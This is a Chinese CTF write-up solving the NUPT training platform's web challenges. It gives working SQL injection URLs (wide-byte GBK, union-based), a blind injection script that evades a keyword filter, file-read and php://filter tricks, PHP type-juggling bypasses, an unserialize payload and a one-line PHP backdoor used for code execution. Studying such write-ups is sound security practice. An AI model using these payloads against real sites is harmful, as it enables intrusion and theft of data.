南邮ctf(web wp)
签到
源代码就有了
md5 collision
传一个字符串,值跟QNKCDZO一样但是又不是它的就行了
签到2
改了本地的maxlength就能输进去zhimakaimen然后拿到flag了
这题不是WEB
把图片下载下来丢去010editor就能看到flag了
层层递进
点进去一直找,找到一个404.html就能看到了,真的藏得很深
单身二十年
页面很快就跳转,抓包就行了
你从哪里来
这题抓包改一下referer成https://www.google.com就能拿到flag了,但是后台挂了,gg
php decode
这题我弄了很久,没看懂题目在要我简单的跑程序出flag还是要看着加密过程逆出来..........
然鹅,只是简单地跑下程序就出来了
文件包含
这题oj也挂了,不过找到这个网址,应该是以前的oj的题,这个能做
http://4.chinalover.sinaapp.com/web7/index.php
先php://input试一下,发现触发waf
所以可以利用php://filter作为中间流去输出其他文件或者我们想要输入的东西,下面是输出index.php的源码,经过base64解密
解密得到
单身一百年也没用
这题其实跟前一题单身题差不多,只是flag在响应头里
download
这题挂了,文件都下载不了,做不了=_=
cookie
题目提示很明显,看到cookie里面login是0
改下成1就get flag了
MySQL
这题进去可以见到网页有Do you know robots.txt?
访问一下robots.txt可以看见一些源码
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
这题可以看见,后台将得到的参数进行整数转化,所以我们想闭合单引号进行注入是不行的了(这题也不是考注入........
但是如果我们输入1024e12的话,$id会是1024,int型直接去掉e后面的数字进行赋值,但是当判断$_GET[id]==1024时就会为假,因为没有强制类型转化,所以两个一个是1024,一个是1024*10^12,不相等,因此就能绕过得到flag
sql injection3
这题进去看见可以输入id,而id被单引号括着,在后面加一个单引号,发现被转义了,再加多一个反斜杠,结果又被转义的,猜测后台应该是有了addslashes函数,尝试下宽字节注入
这里有个提示是,当id等于2时页面会有gbk_sql_injection,当id等于3时页面会有the fourth table
所以剩下的要做的就是宽字节注入,查看第四张表
看数据库
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,database() --+
然后就是看表
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572 --+
因为无法添加单引号或者双引号,所以用16进制绕过
题目提示了是第四张表,所以就直接看第四张表了
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 --+
最后直接读flag了
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,flag from ctf4 --+
/x00
这题是ereg函数绕过
进去就给源码
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
传进去一个nctf参数,要是数字,同时又要在里面有#biubiubiu,看起来好像很矛盾,但是有个ereg函数在
两个方法
第一个
%00截断,ereg函数解析到%00时会自动认为字符串已经结束,所以就能绕过第一个检测同时符合第二个了
第二个
传入数组,因为ereg处理数组会报null,第一个判断为假,所以刚好绕过了,而且strpos检测的也是报null,不等于false,也绕过了,就能出flag了
bypass again
这题是考弱类型,只要是0e开头,php都会认为他们是相等的,所以传入几个md5以后是0e开头的值就行了
变量覆盖
这题进去能看到有个source.php,点开看一看发现
pass是我们传进去的密码,thepassword_123是后台的密码,但是我们拿不到咯嗦,可是他有一个extract函数,可以对获得的变量进行赋值,构造一个语句,使pass和thepassword_123相等,就有flag了
PHP是世界上最好的语言
这题貌似服务器又挂了2333,点进去.......就没了.........
伪装者
这题据说是抓包改下X-Forwarded-For:127.0.0.1发过去就有flag了,可是发包过去居然没响应.........试下改了referer也还是不行,应该是挂了8,gg
Header
这题提示头啊,应该就是抓包看头部就有flag了,但是服务器不响应,喵喵喵?太阔怕辣
上传绕过
就去看到有个文件上传
这题上传图片返回要上传php,上传php返回文件类型不对
试下大小写Php,php3不行,改content-type不行,1.php.jpg会解析出图片,filename截断也不可以,最后是路径截断
然后就有flag了
SQL注入1
这题source有源码
<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>
闭合单引号括号注释后面进行查询就行了
pass check
源码
<?php
aaa@qq.com$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
因为是用strcmp去比较,所以如果传入数组就会返回0,非了以后就是真了
起名字真难
这题也给了源码
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
传入的key不能有数字但是又要等于54975581388,用十六进制转化一下
密码重置
服务器挂了, ̄□ ̄||
php反序列化
这题也是讲下思路,有源码,但是也是进不去网页......
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>
利用反序列化输入一个对象满足条件去实现绕过
<?php
class just4fun
{
var $enter;
var $secret;
function just4fun2(){
$this->enter =& $this->secret;
}
}
$flag = new just4fun();
$flag->just4fun2();
echo serialize($flag);
取secret的地址赋给enter,就能满足条件了
本地测试得出O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
对页面进行访问就行了
sql injection4
源码可以看到
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES); //转义单引号和双引号
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
这题单引号双引号用不了,但是可以用反斜杠把单引号转义了
综合题
这题进去看到jsfuck代码
解密得到
访问看到
脑袋联想到响应头
访问一下
继续访问就有一个压缩包下下来,打开就有flag了
system
挂了..........
SQL注入2
源码
<html>
<head>
Secure Web Login II
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>
这题跟实验吧程序逻辑错误很像,构造sql语句,闭合前面,然后后面加上我们的赋值,就可以让语句查询到值了
综合题2
这题点进去本cms说明的时候可以发现这里改一下后面的file的值是可以读取文件的,将文件读一下
这里用个脚本
import requests
import codecs
from bs4 import BeautifulSoup
url = "http://cms.nuptzj.cn/about.php?file="
file_list = ["index.php", "passencode.php", "say.php", "config.php", "antixss.php", "about.php", "so.php",
"antiinject.php", "xlcteam.php","loginxlcteam.php"]
for i in file_list:
res = requests.get(url + i)
print("dowload " + i)
if res.status_code == 200:
res.encoding = "utf8"
with codecs.open(i, "w+", "utf8") as handle:
print("done")
text = BeautifulSoup(res.text, "lxml").text
handle.write(text)
然后就能得到这些文件的源码了,这里有些是后来加上去的,题目一开始没有提示那么多,做着做着就发现了
这里只贴几个重要的文件的源码
so.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>
<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>
antiinjection.php
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>
passencode.php
<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>
其他的表可以得知数据表示admin,然后这里绕waf的脚本也知道了,剩下的就是注入了,注入点就是搜索那里,看回so.php,可以见到id没有引号括着,不用闭合(后台也过滤了引号
如果输入的语句是正确的,网页就会返回一段大秘密的话(很长
如果不正确,那就没有数据回显
然后就可以进行盲注了,这里贴贴大佬的脚本,肉鸡太菜了,脚本跑不动,不知道错在哪.........
import requests
url = "http://cms.nuptzj.cn/so.php"
chars = "0123456789"
header = {
'User-Agent': 'Xlcteam Browser',
'Host': 'cms.nuptzj.cn',
}
result = ""
for i in range(1,35):
for j in chars:
# print(j)
char = ord(j)
payload = '1/*x*/anANDd/*x*/exists(seleSELECTct/*x*/*/*x*/frFROMom/*x*/admiADMINn/*x*/WHERE/*x*/oORrd(substring(userpaspasss/*x*/froFROMm/*x*/{0}/*a*/FOorR/*a*/1))>{1})'.format(
i, char)
data = {
"soid": payload
}
response = requests.post(url=url, headers=header, data=data)
# print(response.text)
result_len = len(str(response.text))
if (result_len < 430):
result += chr(int(char))
print(result)
break
得出结果是1020117099010701140117011001160117
后台对密码的加密是对应他们的ascii码,所以解密过来就是fuckruntu
然后登录管理员页面,这里管理员页面是http://cms.nuptzj.cn/loginxlcteam/index.php
这个地址基本靠猜,看到有个loginxlcteam.php文件猜测的,真的没找到哪里有说明
登进去以后看到这个
然后一开始文件漏洞是可以帮我们看到xlcteam.php的源码的
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>
然后就是一句话木马的利用
flag get√
注入实战1
后台挂了,GG
密码重置2
挂了too
上一篇: 南邮ctf web 的 wp